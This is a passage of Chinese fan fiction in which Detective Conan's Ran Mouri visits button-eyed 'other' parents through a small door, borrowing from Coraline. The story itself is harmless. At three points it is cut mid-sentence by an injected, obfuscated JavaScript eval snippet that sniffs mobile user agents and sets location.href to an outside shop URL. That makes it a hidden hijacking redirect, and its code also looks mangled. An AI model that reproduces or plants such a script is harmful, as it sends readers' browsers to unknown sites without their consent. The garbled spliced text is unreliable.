毛利兰把娃娃抱到面前,身体完全躲进被子里,她尽量把脸藏在娃娃身后,只从娃娃的头后露出一只眼盯着房门外的动静,毛利兰不确定地轻轻唤了声“爸爸?” “兰,是妈妈。” 毛利兰不会不认得妈妈的声音,只是这声音听起来似乎特别远。 “妈妈?” 妈妈回来了? “是妈妈哦,妈妈就在这里。” 妈妈回来了! 只是两天没见妈妈,毛利兰就觉得过了好久,她欣喜地跑下床走出房门,却看见客厅还是一片漆黑,而黑暗中唯一的光源来自客厅墙面那扇被打开的小门背后,暖黄的灯光仿佛吸引着人靠近。 4. 第 4 章 “兰。” 妈妈的声音还在呼唤她的名字,或许是太思念妈妈,或许是太想要妈妈早点回家。 毛利兰站在自己房间的门口只是犹豫了一下,便选择了带上爸爸买给她的娃娃壮胆,在深呼一口气后,毛利兰攥着拳缓缓向黑暗中唯一的光源走去。 毛利兰屈膝坐在地上,紧紧将娃娃拢在胸前,她伸出手彻底打开原本只是开了一条不大缝隙的小门,顷刻间小门另一端的暖光完全消失了,取而代之是冷色调的梦幻蓝紫色。 小门背后暴露在毛利兰面前的是一条长长的通道,看起来就像是儿童乐园里那种狭窄、幽长、封闭的娱乐设施。 而一般这种设施的尽头总会连接着一些让人感到快乐的东西,比如滑梯,比如泡泡池。 然而毛利兰的直觉疯狂提醒她,这一切不对劲。 毛利兰自认为她的直觉很准,爸爸有时打麻将会带上她,每次她在一旁看着爸爸要打出的牌,如果她认为那张牌打出去爸爸就会点炮,就会输钱,她就会提醒爸爸。 然而爸爸总是不听她的,而每次爸爸把那张牌打出去的结果也都和毛利兰直觉的一样。 毛利兰对于自己的直觉很有信任,但她真的好想妈妈,好想妈妈早点回家,所以毛利兰还是大着胆子向通道另一端试着呼喊。 “妈妈?” 原本仿佛看不见尽头的通道此时却在对面出现了同样的一扇小门,毛利兰看着小门被打开,和之前一样的暖黄色灯光被照进通道。 不止妈妈的声音出现在通道的另一端,毛利兰还看见了妈妈的身影。 妈妈像她一样屈膝坐在地上,用着和她一样的语气对着小门另一端的毛利兰呼唤。 “兰?是兰吗?快过来,妈妈给你准备了礼物。” 或许是妈妈比她高出太多,对于小门,毛利兰坐下后能够与小门平视,她整个人都暴露在小门另一端的妈妈面前。 而对于小门另一端的妈妈,毛利兰只能看见妈妈的下半张脸,虽然通道的两端距离还很长,但毛利兰不会认错妈妈的样子。 可是,毛利兰知道小门背后应该是被填满的隔音保暖泡沫,她知道,所以她也这么问出来了。 通道另一端的妈妈给了她答案。 “那是因为小兰你现在正在做梦,兰想妈妈了是不是?所以妈妈出现在兰的梦里,快过来吧兰,爸爸也在这里。” 似乎是为了附和妈妈的话,毛利兰看见通道另一端的门后也出现了爸爸的身影,爸爸的声音也随着从通道的另一端传过来,他说让她过去,他还说妈妈给他们准备了夜宵。 妈妈和爸爸在一起?!妈妈和爸爸和好了? 虽然只能看见爸爸的小腿往下部分,但毛利兰还是认出来爸爸所穿的似乎是还在当警察时的正装。 可是,毛利兰转过头看向爸爸的房间,爸爸明明在这里,而且那件正装爸爸好久没有穿过了。 这一切真的是在做梦吗? 通道另一端的妈妈还在说着什么,毛利兰却闭上眼睛开始在心里默念,如果她现在正在做梦,请让她醒过来,让她醒过来......手里的娃娃被毛利兰攥得有些变形。 毛利兰再次睁开眼的时候,看见的是她房间的天花板,她怀里还抱着那个这段时间一直陪她睡觉的娃娃。 所以,刚刚的一切真的是在做梦? 毛利兰起身打开灯,她要去验证一下,这次毛利兰下床得特别利索,也并没有带上娃娃,等她真的要打开客厅墙面那扇小门的时候,毛利兰却有些犹豫了。 毛利兰转头看了一眼爸爸房间的方向,如果门后真的有通道,她就去找爸爸,爸爸一定知道怎么办。 然而毛利兰没能打开小门,门竟然是锁住的状态?! 毛利兰回忆起之前爸爸确实是在维修师傅们离开后把小门锁起来了。 所以之前的一切确实是在做梦? 毛利兰有些懊恼,好不容易梦到妈妈,早知道和妈妈多说会儿话了,她有好多好多的话想和妈妈讲。 毛利兰回到房间后看了眼床头柜上的时钟,现在是凌晨两点多,距离她起床的时间还有很久。 她好想继续刚才的梦。 毛利兰躺回被子里,捞起一旁的娃娃重新抱在怀里,她回想着之前入睡的姿势,幻想着或许这样她就能再次梦到妈妈。 毛利兰的愿望成真了。 当毛利兰再次醒来看见半开的房门后,这一次她没有犹豫,直奔着客厅墙面的小门而去,而小门果然也如她所想的不再是上锁的状态。 准备爬进通道的时候,毛利兰试着先喊了声“妈妈”,而梦里的妈妈和之前一样,再次回应了她的呼唤。 通道另一端的门被打开了。 看见通道另一端的亮光,毛利兰不再纠结,缓缓爬进了通道。 从通道另一端的小门爬出来的时候,毛利兰看见的是与自己家完全一样格局的房子。 客厅开着灯,一切都亮堂堂的,毛利兰试着又叫了声“妈妈?” “兰,我在厨房。” 循着妈妈的声音,毛利兰走向记忆中的厨房,她觉得梦里的一切应该和现实差不多。 毛利兰先看见的是妈妈系着围裙的背影,虽然只是过去了两天,毛利兰却觉得好像过去很久,毛利兰还是没忍住扑过去从背后抱住了妈妈。 “妈妈,我好想你。” “嗯,妈妈也很想小兰。” 毛利兰感受到妈妈抚摸自己头顶的手,因为在梦里,即使是梦里的妈妈,即使是想象的妈妈,毛利兰不需要忍住对妈妈思念的泪水。 只是脸埋在妈妈腿间的毛利兰看到自己的泪水打湿了妈妈的衣服,她还是有些不好意思地抬起头—— 然后毛利兰就看到与她想象中不一样的妈妈的上半张脸。 毛利兰不自觉地后退了一步。 原本只是半转过身好抚摸毛利兰头顶、安慰毛利兰的“妈妈”现在彻底面朝向毛利兰,看到毛利兰后退,她也跟着前进了一步。 “兰,怎么了?是不习惯妈妈脸上的这个吗?”说着“妈妈”敲了敲自己脸上原本是眼睛现在却被两颗黑色纽扣取代的位置。 嗒——嗒—— 妈妈敲击“眼睛”发出的清脆声音让毛利兰不自觉又后退了一步,而妈妈还在向她逼近。 “ma......” “兰不愿意的话,可以叫我另一个妈妈,在我这里,兰不愿意做的事都不需要勉强。” 这个梦好奇怪。 被另一个妈妈说的话安抚了的自己也好奇怪,可这一切明明只是她的梦。 咔哒。 是门锁被打开的声音。 “我回来了。” 原本注意力在另一个妈妈脸上的毛利兰被门锁打开的声音吸引,她回过头看向客厅,发现身穿正装的爸爸刚从外面回来,此时正低下头在换鞋。 “欢迎回来。”另一个妈妈回应爸爸话的同时小小地推了毛利兰一把,“去吧,去和你的另一个爸爸聊聊,我这边夜宵还有一会儿就做好了。” 另一个爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033401|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸? 毛利兰走出厨房正好与另一个爸爸看她的视线对上,另一个爸爸眼睛的位置也被一对黑色的纽扣所替代。 毛利兰和另一个爸爸对视了一会儿,另一个爸爸朝她露出一个友好的微笑,他脱下外套,坐在客厅的矮桌前招呼毛利兰过去。 和现实的爸爸好像。 和另一个爸爸的聊天中毛利兰了解到另一个爸爸还有工作,还是警察! 另一个爸爸和毛利兰说是抱怨却有些炫耀的口气说刚刚他被叫回去加班,他连另一个妈妈给他做的夜宵都没来得及吃就去了,不过功夫不负有心人,他们终于抓到了布局已久的犯人。 “他这个人忙起来就忘记吃饭,夜宵我做好了,快来一起帮忙端出去。” 另一个妈妈将端来的一部分饭菜摆放到桌上。 是咖哩饭! 毛利兰想起之前爸爸做失败的那顿饭。 另一个妈妈不仅做了咖喱饭,还准备了很多看起来就美味的菜。 “我给兰也准备了夜宵,兰也一起吃吧。” 说着另一个妈妈把筷子递交到毛利兰的手里,让她先尝尝“妈妈”的手艺,毛利兰在另一个妈妈的注视下就近选了一道菜尝了一口。 “好好吃。”梦里妈妈做的饭菜的味道和毛利兰记忆里的妈妈完全不一样。 “好吃就多吃点,我做了很多。” 此时另一个爸爸已经端着一部分饭菜走过来了,另一个妈妈却依旧起身准备回厨房,似乎和另一个妈妈说的一样,厨房还有不少菜品没端上来,毛利兰也立刻跟着“妈妈”起身,她想要帮忙。 “妈妈”却按住了毛利兰准备起身的肩膀,让毛利兰重新坐下了。 “兰,不是说了吗?在这里,兰不需要勉强,兰不需要操心任何事,交给妈妈,还有爸爸就行了。” “妈妈”微笑地看着毛利兰,说话间用另一只手握住捏了捏“爸爸”的胳膊,而“爸爸”也将他的手覆盖在“妈妈”的手上表达了对“妈妈”所说话的认可。 “是啊,事情有我们大人操心。” “好吧,不过没有勉强,我是自愿帮妈妈分担。”毛利兰盯着另一个妈妈的眼睛信誓旦旦地说,她不想让妈妈误会她想帮忙是勉强。 “哎呀,我们小兰成长成小大人了呢,不过在这里,兰可以当个孩子。“另一个妈妈微笑地看着毛利兰,”只要兰愿意,在这里,兰可以永远当个孩子。” 毛利兰盯着凑近她的“妈妈”,明明“妈妈”上扬的嘴角显示她愉悦的心情,说话也是柔声细语的诚恳。 可是从“妈妈”那双纽扣做的眼睛里,毛利兰什么都看不到,没有情绪,没有她的显像倒影,毛利兰能看到的只有纽扣中间被黑色的线缠绕的四个空洞。 直到另一个妈妈转身去了厨房,毛利兰才放弃了盯着“妈妈”看,她注意到另一个妈妈直到此刻才松开了之前一直握住另一个爸爸胳膊的手。 毛利兰想起另一个妈妈和另一个爸爸之前交叠的双手,不由得去想梦里的妈妈和爸爸的感情果然和她记忆里爸爸妈妈的感情一样好。 对于梦里爸爸妈妈用纽扣做的奇怪眼睛,毛利兰说服自己大概是因为这几天她总是和娃娃一起睡觉的缘故,睡前最后见到的总是娃娃那双纽扣做的眼睛,所以梦里的妈妈和爸爸才会出现同样的情况。 然而,毛利兰说不上来为什么,明明这一切如此古怪和奇幻,但毛利兰总感觉这一切不是梦。 可是人怎么可能拥有纽扣做的眼睛?她的妈妈也明明还没有回家。 5. 第 5 章 一家人重新在一起吃饭的感觉真好。 因为担心美梦突然结束,毛利兰吃饭时总是提心吊胆地看一会儿“妈妈”又看一会儿“爸爸”,她吃得很慢,但嘴也是基本没停下过,大概是人高兴了就会吃的很多,不过梦里吃东西好像并不会有饱腹感。 然而还没等到“妈妈”准备的一大桌菜都被他们吃完,一阵铃声突然在毛利兰的梦里响起。 毛利兰筷子都没来得及放下就下意识地用另一只手去握住一旁“妈妈”的手,她害怕妈妈突然消失,毛利兰被铃声搞得心惊,觉得美梦好像要醒了。 另一个妈妈反握住毛利兰的手,安慰毛利兰:“别担心,只是爸爸的手机响了。” 经过另一个妈妈的提醒,另一个爸爸似乎才意识到是他的手机在响。 毛利兰看着“爸爸”接了一个电话就要离开家,似乎是有什么案件发生了,他需要马上到场。 毛利兰目送“爸爸”离开的背影想起似乎以前好像也发生过这样的事,以前晚饭的时间也会偶尔出现只有她和妈妈两个人吃饭的场景。 那个时候她也是像现在这样大半夜迷迷糊糊地睡醒,察觉到客厅的灯光后便悄悄打开房门看了一眼。 那时的毛利兰看见的是妈妈坐在桌前撑着头打盹,似乎还在执着地等爸爸工作回来。 这种事发生过几次,一开始毛利兰发现妈妈在等爸爸后也会执拗地想要陪着妈妈一起等爸爸回来。 但那个时候她实在太小了,每次都是在爸爸回来前就睡着了,偶尔能等到爸爸,还是妈妈告诉她这次是爸爸抱她回房间睡的。 其实每次没等到爸爸,妈妈在毛利兰睡着后抱毛利兰回房间的时候,毛利兰都能感觉到,只是太困了,她想要留下的嘟囔声被妈妈当成了梦中的呓语。 这样多来几次后,自认为已经长大的毛利兰也不好意思总是麻烦妈妈和爸爸抱她回房间,所以毛利兰后来也只是在半夜醒来后会偷偷看妈妈是否等到了爸爸回来。 现在梦里的爸爸也像现实中一样再次离开。 毛利兰乖乖地吃完了剩下的饭菜,她想帮“妈妈”收拾碗筷,然而“妈妈”却表示完全用不着我们小兰动手。 而果然“妈妈”将收拾好的碗筷叠在一起后,只需要一次就能全部搬回厨房。 虽然这次没有需要她动手的地方,毛利兰还是一路跟着“妈妈”溜进了厨房,她因此顺到了厨房的抹布,在“妈妈”再次出来前,毛利兰利索地帮“妈妈”先擦干净了桌子。 毛利兰闪着亮晶晶的眼睛一脸求表扬地看着“妈妈”,梦里的妈妈似乎有些惊讶,但还是很快走近毛利兰温柔地顺着毛利兰的长发。 “好孩子,好孩子,我们小兰怎么这么厉害。” 在“妈妈”的夸奖下毛利兰还想跟着“妈妈”进厨房继续帮忙,然而“妈妈”却和毛利兰说她该去睡觉了。 梦里还要睡觉的吗? 毛利兰疑惑地看着梦里的妈妈,不过“妈妈”没有解释,或者说是她自己的梦没有跟她解释,总之另一个妈妈只是说已经很晚了,兰明天还要上学是不是? 可是现在本来就是在梦里,更何况另一个爸爸还没有回来。 毛利兰执拗地不想要上床睡觉:“妈妈,让我多陪你一会儿吧。” 其实毛利兰更想说的是“妈妈,多陪我一会儿吧。” 毛利兰总觉得如果她在梦里睡着了,那她就会醒过来了,毛利兰一直缠着妈妈就是想多和妈妈相处,即使是梦里的妈妈。 另一个妈妈最后拗不过毛利兰的撒娇,还是让毛利兰留下了。 不过“妈妈”虽然让毛利兰留下了,却不愿意让毛利兰帮忙,毛利兰本来想帮“妈妈“洗碗来着,现在她只能站在一旁看”妈妈“洗碗。 毛利兰的视线实在太过明显和正大光明,另一个妈妈好笑地看向一直盯着她看的毛利兰。 “你总盯着我看干什么?这里没有什么需要你帮忙的地方。兰,你要是觉得无聊的话可以去客厅偷偷把电视打开,我不会告诉爸爸的。” “可是,妈妈怎么看都看不够。”毛利兰担心这次的美梦一旦醒来可能就没法再继续做了,她不是一个很容易做梦的孩子,所以毛利兰一直在心里默念希望爸爸今早能晚点、再晚点叫她起床。 “妈妈又不会跑,妈妈会一直在这里。”另一个妈妈就着围裙擦了擦手上的水渍,蹲下身和毛利兰平视,“你看你,都困得说胡话了,快去睡觉吧。” 毛利兰在“妈妈“说完后果然困得打了一个哈欠,可她不想睡,也不想和”妈妈“再在这个问题上纠结,所以毛利兰非常刻意地转移了话题。 “妈妈今天做的饭特别好吃,是有什么秘诀吗?可以教教我吗?” “想吃的话,妈妈可以随时做给你吃,我们兰没必要去学,妈妈愿意给兰做一辈子饭。” “那我现在就想吃可以吗?” “兰是刚刚没吃饱吗?如果兰想的话,妈妈可以现在再做一份给你吃,不过这次吃完可要乖乖上床睡觉哦。” 大概是因为在梦里吧,毛利兰感觉另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033402|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个妈妈实在是太温柔了,好像什么事都顺着她。 可这是她的梦,难道她其实更想要现实的妈妈这样对她? 没有吧? 毛利兰觉得自己并没有这样想过,妈妈什么样她都喜欢。 梦而已,毛利兰想不明白干脆不想了,她专注地看着梦里的妈妈开始备菜。 “妈妈,我想试试可以吗?” 毛利兰抬头星星眼地看着梦里的妈妈,和“妈妈“撒娇,她总觉得梦里的妈妈好像很吃这一套,或者说梦里的妈妈好像很喜欢她乖乖的,做任何事前询问”妈妈“的意见。 “可以。” 另一个妈妈说是可以,却并没有把刀递给毛利兰,而是握着毛利兰的手拿着刀,虽然刀在毛利兰的手里,不过动作都是”妈妈“在主导。 他们现在在切的是萝卜,“妈妈“一边操作一边给毛利兰讲解要把萝卜切成很小很小的丁块,这样煮的时候会很容易煮软,吃起来也会很软糯好吃。 毛利兰问一句“妈妈“给她答一句,不知不觉菜就备好了,不过毛利兰也逐渐变得困得抬不起头。 “妈妈“说话的声音就像催眠的咒语,毛利兰硬撑着睡意,却也只是在”妈妈“说到咖喱应该煮多久后才是最好吃的状态时彻底睡死过去了。 * 咚咚咚。 “兰,起床了。”毛利小五郎在毛利兰房门外敲了几下后把手放到了门把上,“兰,你醒了吗?不回复的话爸爸就进来了。” 毛利小五郎等了一会儿,没得到毛利兰的答复,他便推门而入,只看见毛利兰恍惚地坐在床上,面对面地举着那个他买给她的娃娃不知道在想些什么。 “小兰你醒着吗?” “啊,爸爸?” 毛利兰其实比爸爸来叫她起床的时间更早醒,她沉浸于想事情,没注意到爸爸进来了。 毛利小五郎注意到毛利兰盯着他的脸看,疑惑地摸上自己的脸。 “怎么了,兰?爸爸脸上有什么东西吗?” 毛利小五郎记得自己洗过脸了啊,脸上应该......没有东西吧? 虽然毛利兰说着“没有”并收回了目光,但毛利小五郎还是在离开毛利兰的房间后,不自信地拿出手机对着自己的脸看了好一会儿。 是胡子没刮干净吗? 此时的毛利兰正在卫生间进行洗漱,她踩在小板凳上弯着腰在洗手池洗脸,擦干净脸后毛利兰紧盯着镜子中自己的眼睛。 爸爸的眼睛不是纽扣,所以现在是现实对吧? 6. 第 6 章 刚从梦里醒来的时候毛利兰还有些恍惚,她依稀记得自己在梦里睡着后,似乎也是梦里的妈妈把她抱上床的,就像现实的妈妈一样。 只是梦里妈妈的怀抱似乎有些硌人,毛利兰不舒服地挪动了一下,才发现硌人的感受不是在梦里。 毛利兰从自己背后揪出罪魁祸首,睡前抱在她怀里的娃娃不知道什么时候跑到了毛利兰的背后。 毛利兰自认为她睡觉还算老实,基本是睡前什么样醒来后就是什么样,可能是昨天做了美梦身体不自觉移动了吧? 毛利兰没有当回事,只是她拿起娃娃准备放到枕头旁起床的时候,毛利兰感觉娃娃的样子好像哪里不对劲。 毛利兰把娃娃举起到面前仔细端详,这时爸爸走了进来叫她起床,毛利兰只能先把这件事搁置了,等到前往学校,毛利兰便把自己梦到纽扣眼妈妈和爸爸的事告诉了园子和新一。 早上毛利兰并没有和爸爸聊起这件事,主要是因为毛利兰觉得梦里的妈妈还没有和爸爸分居,梦里的爸爸还有警察的工作,如果她和现实的爸爸聊起这件事,有种揭爸爸伤疤的感觉。 何况今早爸爸还斗志满满问已经掌控家里财权的毛利兰要了零花钱,准备印一堆名片去发传单给他的侦探工作打广告,毛利兰当然不想再说梦里的事打击爸爸的积极性。 原本毛利兰、铃木园子和工藤新一三个人一起在午休时间吃便当时,她和园子就会聊东聊西,这个梦毛利兰也只是当趣事告诉的他们。 不过园子却信誓旦旦地和她说,梦都是真的,兰会做这个梦肯定是因为兰的妈妈很快就会回来了。毛利兰知道园子是在安慰她。 放学回家的路上,毛利兰准备就在已经和铃木园子分别过后的这个路口也和工藤新一分别。 “不是还没到我家在的那个路口吗?” 面对工藤新一的询问,毛利兰回答道:“嗯......这条路上有一条菜市场划分的街,我想去那里逛一逛买晚餐要准备的食材。” 毛利兰是还在校时临时想到的,她想给晚上辛苦工作回来的爸爸一个惊喜,毛利兰请教过梦里的妈妈如何做咖喱,虽然有些步骤记得没那么清楚了,不过毛利兰还是想先实践一下。 妈妈离开家前,以往家里冰箱的菜都没有空过,毛利兰要上学,爸爸妈妈要上班,毛利兰放学又是和园子、新一一起回家的,一般爸爸会是那个工作时间不定的人,所以都是妈妈买菜。 而毛利兰放学的时候很早,她在家里做作业的时候妈妈就会买好菜回来了。 她还没有和妈妈一起买过菜,就连知道菜市场所在这条街这种事,还是因为毛利兰每次放学总会经过附近,所以其实今天是毛利兰第一次买菜,所以她有点不自信。 毛利兰利用学校课间写的食材备忘录也是删删改改,她只知道要买什么,但每个食材具体买多少毛利兰心里没底,对于食材重量这件事她还没有什么概念。 毛利兰和铃木园子是同桌,她在纸上写备忘录的时候被铃木园子看见了,不过介于园子家都是保姆买菜,所以园子在这方面也没有什么经验,给不出更好的建议。 而对于新一,毛利兰认为她没什么好隐瞒的,既然新一问了,毛利兰便将她的担忧告诉了说要陪同她一起买菜的新一。 买菜的过程出乎意料地顺利,可能是看她年龄小,菜市场这条街的店主们大多很好说话。 经过新一的提醒,毛利兰才知道原来买菜可以不按斤买,而是按个数买,只买一个也是可以的,买多买少明码标价,店主并不会因此给你看脸色,买多了还可以试试砍价抹零等操作拿优惠。 后面的高端操作毛利兰目前还没有信心去尝试,事实上连在一堆食材中挑选出自己想要那个,毛利兰都还不知道怎么挑,她要么是听店主推荐的,要么是选看起来好看的那个,虽然大部分明明都长得一样。 毛利兰挑得眼花缭乱,新一偶尔会在一旁给她一些建议,毛利兰想学着旁边大人是如何鉴别的,然而她根本看不出来旁边大人是如何鉴别的,只能学着大人的样子挑挑拣拣学个皮毛。 不过没关系,毛利兰给自己打气,今天是她买菜的第一天,她还有很长时间可以慢慢学。 可能是想买的食材太多,一个没注意,走出菜市场那条街时毛利兰拎着整整两大包食材。 “我回来了。” 没有人回应,爸爸应该还没回来。 毛利兰卷起袖口,面对两大包食材准备大展身手。 另一边工藤新一在帮毛利兰分担了一包食材、一路护送毛利兰到家门口后,终于有时间给把买菜心得分享给他的妈妈回复了一句“谢啦。” 不过对于七岁的工藤新一来说,把智能手机藏在身后在屏幕上盲打还是有些困难,所以他在思考要不还是换个按键手机吧? 离开毛利家的工藤新一并没有第一时间回家,而是沿路返回又回到了学校。 他和毛利兰买菜花了不少时间,此时的帝丹小学无论高年级还是低年级均已放学,看着大门紧锁的学校门,工藤新一决定偷偷翻进去。 而和工藤新一不谋而合的还有一个人,那就是—— “你小子怎么也在?” 铃木园子放学前特意偷偷将原本上锁了的、靠近走廊那一侧的教室窗户锁打开,没想到一路翻进来就看见工藤新一肩扛、挂着兰愿望纸卡的笹竹准备从另一侧跑路。 铃木园子知道毛利兰最近正在经历父母分居,也知道毛利兰在纸卡上写的愿望是希望妈妈早点回家,所以铃木园子产生了一个大胆的想法。 她的想法是将有毛利兰愿望的纸卡拍给兰的妈妈看,让兰的妈妈感受到兰的这份心意,从而真正实现兰的愿望早点回家。 所以铃木园子才会在放学后返回教室准备偷偷拍照,上学时拍照她怕被毛利兰看见从而提起毛利兰的伤心事。 原来某个人和她想法一样啊,那他之前装什么高冷。 只是...... “你为什么要偷笹竹,是没有小兰妈妈的联系方式,所以只能用这种原始办法把兰的愿望让小兰妈妈看见吗?” 被铃木园子说中事实的工藤新一:...... 工藤新一的妈妈藤峰有希子有小兰妈妈妃英理的联系方式,然而他已经有事求妈妈帮了一次忙,所以工藤新一不好意思再开口一次。 毕竟他真的不想再被妈妈调侃和兰的关系了,虽然他心里确实是那么想成为的。 * 毛利兰已经将所有做咖哩的食材全部洗好了,接下来就是切块备菜。 拿起刀的时候,毛利兰觉得即害怕又兴奋,妈妈平常用的这把刀对于七岁的毛利兰来说很大、很重,她想起梦里她握住刀的时候,那时候明明什么感觉都没有,现在想来是梦里妈妈的手帮她分担了大部分重量。 毛利兰尝试用了一下妈妈常用的那把刀切菜,她需要两只手才能操作,很不方便。 而且因为没有另一只手固定住要切的食材,一刀下去分成两半的食材经常另一半不知道飞到哪里去了,无奈下,毛利兰想起爸爸给她买的那个儿童厨房模拟玩具。 幻想自己像个成熟大人一样熟练备菜的毛利兰,最终还是选择了儿童厨房模拟玩具的塑料刀。 怎么说呢,什么年龄用什么工具,玩具上写3-12岁的适龄使用是正确的。毛利兰使用塑料刀切菜后明显感觉还是塑料刀的尺寸更适合她,也更好使。 终于一切准备就绪,毛利兰要开始使用燃气灶了。 然而为什么她拧不动燃气灶的开关?她记得梦里的妈妈就是这么操作的啊? 毛利兰和燃气灶的斗争一直持续到毛利小五郎回来。 看到厨房里系着围裙、站在小板凳上和燃气灶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033403|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开关斗争的毛利兰,毛利小五郎的心情是复杂的,一方面他感动得就快哭出来了,另一方面他又害怕毛利兰受伤。 最终,做父母的不要打击孩子的积极性战胜了毛利小五郎的其他思绪,他选择了加入。 不过不是教毛利兰如何打开燃气灶,而是再次拿出了他买的那套儿童厨房模拟玩具。 说是玩具,但厨房里该使用的工具应有尽有,之前毛利兰只是匆匆从里面拿出塑料刀,所以没在意其他玩具,这次在爸爸的介绍下,毛利兰才发现玩具里连儿童围裙都有。 毛利兰现在穿的围裙是妈妈常穿的那个,对于七岁的孩子来说大了不少,妈妈穿在身上是围裙,毛利兰穿在身上就是连衣长裙。 虽然毛利兰觉得自己使用真实厨房完全没问题,但她还是顺着爸爸的意思,在爸爸的介绍下使用起儿童厨房模拟玩具。 毛利小五郎一边翻看说明书,一边指挥毛利兰使用玩具,他发现整个玩具其实就是缩小版的真实厨房,完全能做出真实的菜,锅什么的都是真材实料,电热炉也只是体积小了点,功率小了点。 然而因为是儿童玩具,所以各种防护都有,比如隔热手套,防烫锅架等。 毛利兰也发现了,不得不说比起她两只手拿起来都费劲的锅,这套玩具更适合她。 毛利小五郎去厨房用电饭煲热今晚的米饭,毛利兰在客厅用儿童厨房模拟玩具做咖喱。 虽然同意了爸爸的建议等她长大点爸爸再教她用燃气灶,不过毛利兰不会放弃的,她会努力锻炼力气,起码得先有力气能单手使用大人尺寸的刀,像梦里妈妈教她的那样切萝卜。 原本毛利兰以为玩具的尺寸很小,做出来的咖哩也会很少,可能会不够她和爸爸吃,所以毛利兰多煮了几锅,然而等倒进平常吃咖哩饭的那种盘子里时,毛利兰才发现她好像煮多了。 即便爸爸因为她第一次做饭一边夸赞她做饭好吃一边连吃了六碗,咖哩还是有不少剩余。 虽然爸爸把她做的咖哩夸得天上有地下无,把毛利兰硬是夸害羞了,但毛利兰感觉比起自己做的咖哩,果然还是梦里妈妈做的更好吃一点。 如果今晚也能梦见妈妈就好了。 毛利兰的愿望再次成真了。 在爬进小门的通道前,毛利兰先去了一趟厨房,她双手合十一边走去厨房一边祈祷,她还想梦见自己做剩下的咖哩,拜托,拜托...... 像是回应她的祈祷,冰箱里果然还有毛利兰今天做剩下的咖喱。 原本爸爸说可以明天热一热他继续吃的,但毛利兰觉得反正是在梦里,现实的咖哩又不会少,她要梦里的妈妈也尝尝她做的咖哩。 或许明天她也可以在放学后去找现实的妈妈,亲自再做一份让妈妈也尝尝,或许妈妈会为了每天能吃到她做的咖哩想早点回家也说不一定。 通道里很窄,毛利兰小心地把被爸爸用保鲜膜打包好、还用玻璃餐盒装着的咖哩拿在一只手里,另一只手撑着地缓慢地朝通道的另一端爬去。 看见通道另一端亮光的时候,毛利兰也同时看到了“妈妈”,“妈妈”已经在通道的小门口等着她了。 “妈妈,我给你带了咖哩!我自己做的。” 梦里的妈妈似乎没想到毛利兰会给她带东西,一直挂着微笑的“妈妈”表情有一瞬间的吃惊,不过短暂过后又恢复了笑容,“妈妈”告诉毛利兰她要把咖哩拿去厨房热一下,等会儿她们可以一起吃。 毛利兰原本是想跟着“妈妈”一起进厨房的,她想重新看一下“妈妈”是如何使用燃气灶的,然而此时靠近楼梯间的那扇门外却突兀地传来了敲门声。 “妈妈”温柔地看着毛利兰:“兰,要不要去门口看看是谁来了?” 毛利兰以为是和昨天一样工作到很晚才回来的“爸爸”,然而等毛利兰打开门—— “新一?” 7. 第 7 章 另一个妈妈正在厨房重新回锅毛利兰带来的咖哩,厨房里有微波炉,不过另一个妈妈本人更偏向在冷掉的咖哩里加入适量的水重新蒸煮进行加热。 刚从玻璃餐盒里被倒出来的咖哩有些结块,另一个妈妈在蒸煮过程中需要先不停地将其搅拌均匀,盯着汤锅中被她搅拌出漩涡的咖哩,另一个妈妈走神地想—— 毛利兰真是个奇怪的孩子。 还从来没有哪个来到这里的孩子给她带过东西,从来都是那些孩子期盼着从她这里得到什么。 另一个妈妈是诞生于年幼孩子对家庭现状不满等负面情绪的咒灵,不过在她那个年代,在她诞生的那个地方,远在大洋彼岸另一端的人们对她的称呼不是咒灵,而是“The Beldam”。 女巫、老巫婆...... 无论是什么样的翻译,她不喜欢那个名字,她更喜欢孩子们对她的称呼“The Other Mother”。 另一个妈妈是诞生于孩子的咒灵,自然是为了满足孩子愿望的存在。 另一个妈妈认为她满足孩子们的愿望,这里有孩子们所需要的美满家庭、吃喝玩乐,而作为代价,她拿走孩子们的灵魂是一件很公平的事。 天底下哪有免费的午餐。 另一个妈妈从诞生起只遇到过两次滑铁卢,但仅仅是这两次就足够让她元气大伤。 第一次。 另一个妈妈“The Beldam”的名声远扬,引来了被教廷派遣前来封印超自然力量的驱魔师。 而在这里,他们有另一个名字——咒术师。 另一个妈妈被驱魔师封印在了她最后一次出现的房子里,直到随着时间的流逝人们淡忘了她的存在,她所在的房子迎来了新入住的一家人,而那一家里最小孩子的灵魂成为她重新开始活跃的突破口。 虽然驱魔师的封印牢不可破让她无法离开,但她可以引诱孩子自己进来,于是一扇只有孩子能通过的小门出现在房子里。 